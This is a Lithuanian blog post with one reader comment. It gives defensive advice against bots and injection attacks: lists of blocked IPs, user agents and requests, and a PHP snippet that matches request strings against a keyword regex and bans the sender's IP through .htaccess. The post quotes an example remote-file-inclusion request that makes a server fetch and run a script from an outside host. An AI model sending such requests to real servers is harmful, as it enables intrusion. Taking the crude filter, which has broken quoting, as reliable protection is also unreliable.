Būtina tinklaraščio ir tinklalapių apsauga
Tikriausiai žinote, kad daugeliu atvejų tinklalapius ar tinklaraščius bandoma nulaužti, prišiukšlinti, užteršti įvairiais beprasmiais anoniminiais komentarais automatizuotai, naudojant tam tikrus scriptus. Žinoma gana dažnai taikomas ir rankinis būdas. Net neįsivaizduojate, koks tai ganėtinai įspūdingas skaičius. Abie atvejais vienas gynybos būdas tikrai yra – tikrinti užklausas, IP bei kitus parametrus siunčiamas piktavalio ir jas blokuoti. Tiesiog pasinaudokite mano siūlomais būdais, ir ne tik apsiginsite, bet ir sužinosite, kaip kas ir kaip dažnai jus puola. Daugiau…
Tinklaraščio apsauga
Nors tinklalapiams pateiksiu “rankinį” būda, naudojantiems Wordpress yra speciali apsauga, leidžianti turėti saugesnį ir švaresnį tinklapį - TimesToCome Security Plugin. Įdiegę šį įskiepį turėsite įrašyti apsauginius parametrus. Asmeniškai aš naudoju tokius blokuojamus IP, user agents ir užklausas – dalį priežasčių, kaip sugavau galite matyti čia (jūs galite naudoti ir savo įrašus). Ir nors ten matote net Firefox, Internet explorer – dažniausiai tai taip pavadinti botai.
Įspėjimas. Nepriisiimu jokios atsakomybės dėl čia pateiktų blokuojamų IP, User Agents, užklausų, palieku kiekvienam lankytojui spręsti ar bet kuris įrašas yra tikslingas.
| Blokuojami IP: (This is your ip banished list:) |
Blokuojami User Agents (This is your agent banished list) |
Blokuojamos užklausos (This is your request blacklist) |
|
12.192.82.221 |
AnotherBot |
$_GET |
Ką reiškia užklausos ir kodėl jas reikia blokuoti? Tarkim jūsų tinklapyje yra numanoma spraga arba tiesiog papuolėte į atakuojančio akiratį (bet dažnai atakuojantys tiesiog vykdo atakuojančias užklausas iš eilės).
Tarkim esant file sidebar.php nesaugiai panaudotam kintamajam KINTAMASIS su užklausa sidebar.php?KINTAMASIS=http://www.kompiuteriszombis.com/botas.txt , jusu serveryje bus įvykdytas botas.txt scriptas, ir galima sakyti, daugeliu atvejų jūsų serveris jau nulaužtas.
Tinklalapio apsauga.
Jei turite tinklapį, galite pasinaudoti tokiu scriptu, kurį turite įrašyti į savo index.php , taip pat nemapirškite pakeisti email@email.com į savo el. paštą
/* ****************************** ANTIHACK START ******************************/
//injection check
$req = $_SERVER['REQUEST_URI'];
$cadena = explode("?", $req);
$mi_url = $cadena[0];
$resto = $cadena[1];
// here you can put your suspicions chains at your will. Just be careful of
// possible coincidences with your URL’s variables and parameters
$inyecc=’/script|http|<|>|%3c|%3e|SELECT|UNION|UPDATE|exe|exec|INSERT|tmp/i’;
// detecting
if (preg_match($inyecc, $resto) && !$_REQUEST['fullurl']) {
// make something, in example send an e-mail alert to administrator
//$ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
$ip = $_SERVER['REMOTE_ADDR'];
$forwarded = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
$remoteaddress = $HTTP_SERVER_VARS["REMOTE_ADDR"];
$message = "attack injection in $mi_url \n\nchain: $resto \n\n
from: (ip-forw-RA):- $ip - $forwarded - $remoteaddress\n\n
——— end ——————–";
mail(email@email.com, "Attack injection", $message,
"From: info@{$_SERVER['SERVER_NAME']}", "-fwebmaster@{$_SERVER['SERVER_NAME']}");
####Uzbaninam per .htaccess
$fh = fopen(’.htaccess’, ‘a’) or die("Failo atidaryti neÄÆmanoma.");
$towrite = "\n# $remoteaddress - $resto";
$towrite .= "\ndeny from $ip\n";
fwrite($fh, $towrite);
fclose($fh);
####
// message and kill execution
echo ‘illegal url’;
die();
}
/* ****************************** ANTIHACK END******************************/














2008 12 20 10:12
Tokiems dalikams jau senai yra sukurtas Apache mod_security - manau nereikia išradineti dviračių.
Kas dėl preg’o - liko nepaminėtas “ftp” protokolas, “delete” SQL užklausą. Be to tikrinami ne tik užklausos reikšmės, bet ir kintamujų vardai - todėl prieš panaudojant ši kodą kiekvienas privalo ji gerokai apsvarstyti, ar naudoti,
Beja, SQL-injection galima padaryti ir per į kairę nuo “?” eančia adreso dalį.
Jei sistemos kodas yra kreivas - vien GET užklausos apsaugos nepakaks, prireiks filtruoti POST bei COOKIES.
Butu žymiai maloniau matyti Lietuviškus kodo komentarus visur, o ne tik kai kur.
Na ir pašymas į .htaccess failą - nėra pats saugiausias užsiemimas. Savaime aišku, viskas priklauso nuo prieglobos sistemos.